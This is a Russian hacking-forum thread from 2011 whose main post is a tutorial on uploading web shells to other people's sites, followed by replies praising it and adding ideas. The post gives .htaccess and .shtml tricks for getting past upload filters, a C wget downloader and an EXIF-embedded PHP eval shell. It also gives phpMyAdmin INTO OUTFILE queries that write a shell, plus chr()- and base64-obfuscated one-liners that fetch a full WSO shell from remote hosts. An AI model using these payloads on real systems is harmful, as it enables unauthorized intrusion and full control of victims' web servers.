Авторские статьи Не стандартные способы заливки шелла

Discussion in 'Статьи' started by Osstudio, 11 Dec 2011.

  1. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    Нестандартные способы заливки шелла

    Нестандартные способы заливки шелла


    Итак, сегодня мы будем разбирать несколько далеко не стандартных способов заливки шелла. :)
    (В конце изложения имеются линки на видео к статье)
    Шелл - оболочка операционной системы (от англ. shell — оболочка) — интерпретатор команд операционной системы, обеспечивающий интерфейс для взаимодействия пользователя с функциями системы.

    Эту статью вам нужно читать в двух случаях:
    1.) Для общего развития
    2.) Если у вас не получается штатными методами залить шелл. (!!!)

    Способ №1 - "Обход фильтрации"

    Допустим, формат .php не заливается, также .php2/.php3/.php4/.php5/ и даже .php.jpg/.php.abc.Варианты решения:
    1.) Попробуйте залить .phtml - это также расширение семейства PHP.
    2.) Создаём файлик .htaccess, и вписываем в него следующее:
    PHP:
    AddType application/x-httpd-php .jpg 
    AddHandler application
    /x-httpd-php .jpg
    Сохраним.. там, где .jpg можете указать любой понравившийся вам формат, хоть .hacker ( :D ).
    Теперь попробуем залить наш .htaccess и вслед за ним шелл, с расширением, указанным в .htaccess'e
    ???
    PROFIT!!!

    Примечание: .htaccess - файл дополнительной конфигурации веб-сервера Apache, а также подобных ему серверов.
    3.) Если методы выше не работают, то расскажу о очень интересном формате - ".shtml".
    Вся прелесть в том, что 95% администраторов либо вообще не знают что это такое, либо просто напросто забывают добавить этот формат в "чёрный список". А теперь советую поподробней прочитать, что это такое, залить такой файлик на сервер, и закачать шелл...
    Также бывает, что если мы создадим файл file.shtm?cmd=... то в большинстве случаев скрипт не хотел выполнять системные команды, которые содержат пробел. т.е. "id" он выполнял, "ls" - тоже, а "uname -a" - нет, потому что содержит пробел. Таким образом все фишки типа "wget http://shell.com/shell.php" обламывались. Но не отчаиваетесь - выход есть:
    Можно написать и скомпилировать програмку, которая выполняет системную команду скачивания шелла (через wget). скомпилировать, и залить её. Потом через SSI скрипт просто напросто выполнить её.
    Код примера программы:
    Code:
    #include <stdio.h>
    #include <stdlib.h>
    
    int main ()
    {
      system("wget [Путь_к_шеллу]");
      return 0;
    }
    Код самый примитивный, описание команд:
    System - команда для выполнения команд ( :D ) системного интерпретатора.
    Wget - свободная не-интерактивная консольная программа для загрузки файлов по сети. Поддерживает протоколы HTTP, FTP и HTTPS, а также поддерживает работу через HTTP прокси-сервер. Программа включена почти во все дистрибутивы GNU/Linux
    return - это то что мы "возвратим" программе, в данном случае ничего ;)
    include - подключение библиотек компилятора.
    int main - главная "процедура" (наподобие функции) программы.
    P.S Варианты shell.php.jpg тут не рассматриваются, т.к о них и так все знают.
    (Спасибо Mailbrush'у за предоставленный вариант).
    4.) Ну, а этот вариант - это использовать плагин на подобии "Tamper Data" (Firefox). Можно перехватить запрос, и изменить расширение, но такой метод самый маловероятный. Обычно он спасает в тех случаях, если php не разрешает какой-нибудь JavaScript.
    5.) Пятый вариант - это отличный баг Windows, а именно, иногда сайт не разрешает закачивать PHP таким образом, что когда нажимаешь к примеру на кнопку "Обзор", то он показывает только файлы изображений, и т.п. Но не отчаивайтесь - просто нажмите на этот "Обзор" ( :D ) зайдите в директорию с шеллом, и наберите тут его имя:
    [​IMG]
    И нажмите "Открыть", шелл успешно откроется, и закачается ;)
    6.) Ну а этот метод не входит в "не стандартную" категорию, он заключается в том, что банальный создатель говорит, что разрешено дескать только .jpg и т.д, но на самом деле это не всегда так, достаточно залить PHP сценарий (шелл), и он будет отлично работать. Как вы поняли - никакой фильтрации нету полностью (ну или уж через чур кривая :D )
    7.) А этот способ предложил нам |qbz|:
    То есть объясняя другими словами, вы в админке через отправку почты отправляете её на локальный хост, и это сохранится в "спец.папках", затем через уязвимость PHP Include мы инклудим этот файлик и таким образом можем воспроизвести PHP сценарий. Для домохозяек, PHP Include - это загрузка какого-либо файла (в нашем случае PHP скрипта) на страницу пользователя, как то так)) Подробнее можете погуглить....
    8.) Ну этот способ называется шелл в картинке, или exif шелл :) Итак, начнём:
    Часто мы пытаемся загрузить наш шелл в формате .jpg и т.п но также часто попадаются файломенеджеры которые с доброй харей любезно сжимают файл да ещё и размер, и понятное дело наш шелл так не заработает, тогда воспользуемся волшебной штукой под названием exif, а делаем так:
    Берём например paint, создаём картинку хоть 1x1 пикселей, сохраняем в формате .gif или как вам удобней, затем юзаем тулзы для добавления "комментария" к фотке, то есть exif, для этого например подойдёт gimp, открываем в нём наше фото, нажимаем сохранить к примеру в формате .gif и пишем там где Comment или Комментарий, или ещё чего наш код от мини шелла, то есть <?php eval($_GET[cmd]); ?>, сохраняем, льём, делаем так http://site.com/foto.gif?cmd=phpinfo(); и радуемся! также такие "комментарии" можно вставить и в hex редакторе... ;)
    Подробнее тут
    Способ №2 - Хитрости PhpMyAdmin

    Допустим, вы получили доступ к PhpMyAdmin, и вам даже посчастливилось, что File_Priv=Y и Обновление таблиц тоже = Y. Тогда нажимает SQL (Может называться и по другому, и она сверху ;) ). И вписываем следующее:
    Code:
    UPDATE `table_name` SET `column_name_1` = '<?php $url = "Путь_до_шелла";$content = file_get_contents($url);$h = fopen("shells.php","w");$text = "$content";fwrite($h,$text);fclose($h); ?>' WHERE `column_name_2` =[Значение] LIMIT 1 ;
    SELECT * FROM `table_name` WHERE `column_name_2` =[Значение] INTO OUTFILE '[Полный_путь_до_папки_с_правами_закачки_файла/shell.php]' ;
    Запросы весьма банальны!
    Первый запрос гласит о том, что мы изменяем (обновляем) колонку column_name_1 в таблице table_name, где column_name_2 = какому-либо значению.
    Второй запрос "выдёргивает" данные из колонки column_name_2, находящейся в таблице table_name, и выдёргивает из той, где column_name_2 равен какому-либо значению, затем это логируется в какой-либо файл.
    Теперь переходим по адресу
    Code:
    host.com/пут_до_той_папки_что_вы_указали/shells.php
    Пояснения:
    table_name - имя таблицы в БД.
    column_name_1 - эта колонка, которую мы будем "изменять".
    column_name_2 - это колонка, например id, показывает, какую именно запись в БД мы будем редактировать. Например, column_name_2=id, а table_name=users. Это значит, что мы будем изменять запись в таблице users, где id=n (любое число).
    Вы, вероятно обратили внимание, что весь php на одной строке и без пробелов, а это не случайность - это всё для вселюбимой PhpMyAdmin, если записать сюда код с переходами на другую строку, то он обязательно вставить "/" перед переходом, что соответственно вызовет ошибку в php скрипте. И ещё нельзя использовать ' ...

    Также можно вместо:
    Code:
    <?php $url = "Путь_до_шелла";$content = file_get_contents($url);$h = fopen("shells.php","w");$text = "$content";fwrite($h,$text);fclose($h); ?>
    Мы можем просто вписать:
    Code:
    <?php eval($_GET[cmd]); ?>
    Eval выполняет функции php, как вы видите, это мини шелл... используют так:
    Code:
    host.com/пут_до_той_папки_что_вы_указали/shells.php?cmd=function_php;
    Способ (Можно сказать, часть...) №3 - Что касается "Мини-шелла"

    Итак, опять же допустим, что вы закачали "мини шелл", но теперь бы вам надо залить нормальный, WSO к примеру.
    Пробуем:
    Code:
    http://host.ru/shell.php?cmd=$url = "Ссылка_на_шелл.txt";$content = file_get_contents($url);$h = fopen("shells.php","w");$text = "$content";fwrite($h,$text);fclose($h);
    Но тут очень часто бывает облом - либо нельзя, чтобы был пробел, либо нельзя, чтобы были кавычки. "Заброшу ка я сервер" - наверное подумали вы.. но нет, конечно, вы правы, чтобы задать тип переменной в php типа string, не мешало бы значение поместить в кавычки, а вот оказывается нет. Достаточно использовать функцию chr(); Эта функция "преобразовывает" ASCII в "обычный текст", таблицу таких символов можно взять тут - http://www.asciitable.com/
    И соответственно, получаем код, к примеру (рабочий):
    $url = chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(108).chr(101).chr(103).chr(105).chr(111).chr(110).chr(101).chr(114).chr(115).chr(56).chr(56).chr(46).chr(110).chr(97).chr(114).chr(111).chr(100).chr(46).chr(114).chr(117).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(116).chr(120).chr(116);

    Как видите, без кавычек, а тип будет String :p Так что теперь делаем код:
    Code:
    $url = chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(108).chr(101).chr(103).chr(105).chr(111).chr(110).chr(101).chr(114).chr(115).chr(56).chr(56).chr(46).chr(110).chr(97).chr(114).chr(111).chr(100).chr(46).chr(114).chr(117).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(116).chr(120).chr(116);$content = file_get_contents($url);$h = fopen(shells.chr(46).php,w);$text = $content;fwrite($h,$text);fclose($h);
    И вставляем его в "?cmd=" и получаем в том же каталоге что и мини-шелл, настоящий, хороший шелл, который будет по адресу shells.php..
    Заметка: Скорее всего, вы заметили, что у меня написано "shells.chr(46).php", а я объясню, 46 - это точка в "Dec", а имя файла у нас без кавычек, и если бы мы написали shells.php то он бы сохранился как shellsphp, то есть без расширения, т.к точка - это тоже функция в PHP, но я земенил её на shells.chr(46).php и получаем на выходе "shells.php". Вот так, удачи Вам!

    Впринципе, можно сделать место функции chr() например так:
    Code:
    $url=$_GET[urlz]; $content= file_get_contents($url);$h=fopen($_GET[file],w);$text=$content;fwrite($h,$text);fclose($h);
    И задавать так:

    HTML:
    site.com/eval.php?cmd=$url=$_GET[url];$content= file_get_contents($url);$h=fopen($_GET[file],w);$text=$content;fwrite($h,$text);fclose($h);&url=url_загружаемого_файла&file=название_файла_на_выходе
    В этом скрипте кстати тоже всё довольно просто :)
    - это мы задаём значение переменной URL взятое из GET переменной URL.
    - тут мы присваиваем переменной Content значение документа, находящемся по адресу из переменной URL.
    - открываем локальный файл $_GET[file] для записи.
    - подставляем значение переменной text из переменной content.
    - записываем в файл, открытый для записи в переменной "h" значение из переменной text.
    - закрываем открытый файл из переменной h для записи в него текста.

    Также такой код можно представить так:
    и юзать так:
    А также, можно использовать Base64.

    - Но ведь он оканчивается на "==" ??
    спросите вы, но вот и нет, этот хвост можно убрать, и код продолжит также прекрасно работать!
    например, PHPInfo() будет выглядеть так:
    Code:
    <?php
    eval(base64_decode('cGhwaW5mbygpOw=='));
    ?>
    Урежем:
    Code:
    <?php
    eval(base64_decode('cGhwaW5mbygpOw'));
    ?>
    Видим, что всё работает)
    теперь можем убрать кавычки, юзаем так:
    PHP:
    site.ru/index.php?cmd=base64_decode(cGhwaW5mbygpOw);
    Использовать кодировщик рекомендую тут http://base64.ru
    или тут:
    http://tools.0x0000ed.com/base64.php
    Есть мини-шелл, но нету прав =(

    Допустим, вы залили шелл, и напихали везде мини-шеллов, но ваш шелл потёрли, и урезали права во всех папках, либо другая причина, по которой вы не можете залить нормальный шелл из миника.
    Для этого делаем так:
    Идём сюда:
    http://base64.ru/
    Там вписываем такой код:
    PHP:
    $content=file_get_contents("ПУТЬ_К_ШЕЛЛУ");$h=fopen("имя_файла_мини-шелла",w);$text=$content;fwrite($h,$text);fclose($h);
    шифруем это в base64, у меня вышло так:
    PHP:
    JGNvbnRlbnQ9ZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cuY29udGludXVtMi5jb20vd3NvLnR4dCIpOyRoPWZvcGVuKCJtZW1iZXIuaW5jLnBocCIsdyk7JHRleHQ9JGNvbnRlbnQ7ZndyaXRlKCRoLCR0ZXh0KTtmY2xvc2UoJGgpOw
    Тогда юзаем так:
    PHP:
    http://site.ru/mini.php?cmd=eval(base64_decode(JGNvbnRlbnQ9ZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cuY29udGludXVtMi5jb20vd3NvLnR4dCIpOyRoPWZvcGVuKCJtZW1iZXIuaW5jLnBocCIsdyk7JHRleHQ9JGNvbnRlbnQ7ZndyaXRlKCRoLCR0ZXh0KTtmY2xvc2UoJGgpOw));
    теперь обновляем страничку с мини-шеллом, и видим полноценный шелл...
    Окончание:
    Это всего-лишь малая часть всех чудных способов не стандартной заливки, я просто попытался направить вас на тот путь, что выход есть всегда (почти :D ).

    С уважением, Osstudio! :)


    Подборка видео к статье:

    "Заливка шелла через PhpMyAdmin. Из мини-шелла в WSO."
     
    #1 Osstudio, 11 Dec 2011
    Last edited: 10 Apr 2012
  2. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Эмм.. А я думал это и есть стандартные способы o_O
     
    1 person likes this.
  3. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    Видел не всё, что из этого следует - что всё разбито на куски, а я собрал всё воедино.
     
    2 people like this.
  4. Niggеr

    Niggеr Banned

    Joined:
    25 Nov 2011
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Отличная статья! Написано очень грамотно и методы актуальнейшие, сразу видно проффесионала в своей области! ТС пиши почаще...
     
  5. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    Методы действительно актуальные ;)
    А если вы располагаете новыми, прошу в ЛС на описание, добавим в статью :)
     
    1 person likes this.
  6. Niggеr

    Niggеr Banned

    Joined:
    25 Nov 2011
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Есть еще один очень не стандартный метод - форма аплоада в панелях администрирования. Не плохо было бы написать статью...
     
  7. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    ТС, запости это на рдоте, ок?
     
    2 people like this.
  8. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    да что ты заладил, рука мастера да рука мастера. аж читать противно.

    если это не стандартный метод, то какой по твоему стандартный?
    загрузка шелла по фтп с одобрения админа что ли? :D
     
    #8 Ins3t, 12 Dec 2011
    Last edited: 12 Dec 2011
    1 person likes this.
  9. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,519
    Likes Received:
    401
    Reputations:
    196
    Точно.

    Заголовок, кстати, исправьте.
     
    #9 попугай, 12 Dec 2011
    Last edited: 12 Dec 2011
  10. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    Ааа!! Сайт не работает!! Паника!! Я первый раз на ачат зашел, попробовал залить этот файлик, а потом все перестало работать!!

    Лучше бы про это расписать. Такие примеры на ачате видел.
     
  11. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    Противно читать - не читай. Я старался и убил несколько часов. Честно старался специально для Античата. И по твоему сообщению, "Актуальней не бывает" - разве, какой-то метод не рабочий? И не так просто найти подобную статью на античате, где уже всё есть в одном флаконе, зачем бедным юзерам рыть во всём форуме, в поисках нужной ему инфы? Как минимум, это уменьшит нагрузку на сервера :)
    P.S Кстати, знаешь мне почему обидна критика к моей статье? Да потому-что почти все методы я сам придумал. Хоть они уже и были.. :mad:
    Так что рекомендую промолчать, новометоцец.
     
    #11 Osstudio, 12 Dec 2011
    Last edited: 12 Dec 2011
    2 people like this.
  12. GrandMaster

    GrandMaster Active Member

    Joined:
    16 May 2009
    Messages:
    107
    Likes Received:
    114
    Reputations:
    25
    На что?

    P.s ТС, редко бывает черный список форматов, которые нельзя заливать. Скорее бывает "белый" список
     
  13. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    На статью. Нет, очень даже не редко, если 2 раза хекал сайты, попробуй ещё, чтобы увидеть, чего нету, чего есть ;)

    Например эти редакторы сообщений в админке..
     
  14. Akeksondr

    Akeksondr Member

    Joined:
    7 Oct 2010
    Messages:
    389
    Likes Received:
    51
    Reputations:
    7
    Интересная статья, много подчеркнул для себя
     
    2 people like this.
  15. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    842
    Likes Received:
    170
    Reputations:
    84
    Ждем видео
     
  16. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    Сейчас записываю, как заливать шелл в PhpMyAdmin, причем, в боевых условиях. ;)
     
    #16 Osstudio, 12 Dec 2011
    Last edited: 12 Dec 2011
    1 person likes this.
  17. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    тогда это целый научный труд :D

    чтоб меня убили, пожарили и съели..
     
    _________________________
    #17 Konqi, 12 Dec 2011
    Last edited: 12 Dec 2011
  18. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,519
    Likes Received:
    401
    Reputations:
    196

    Надеюсь, это хотя бы как минимум реализация unserialize-багов? Иначе, можешь остановиться прямо сейчас.
     
  19. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    Именно :D
    shell.php )) Возможно, я погорячился с названием :)


    UPD: Сделал 1 видео, ссылка в конце статьи ;)
     
    #19 Osstudio, 12 Dec 2011
    Last edited: 12 Dec 2011
  20. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    Думаю, скоро выложу видео по обходу фильтров, и хватит, т.к в первом видео я специально сразу шелл заливать не стал, а сначала мини-шелл, а уже затем, из него полноценный. Причём сразу с функцией chr(); ;)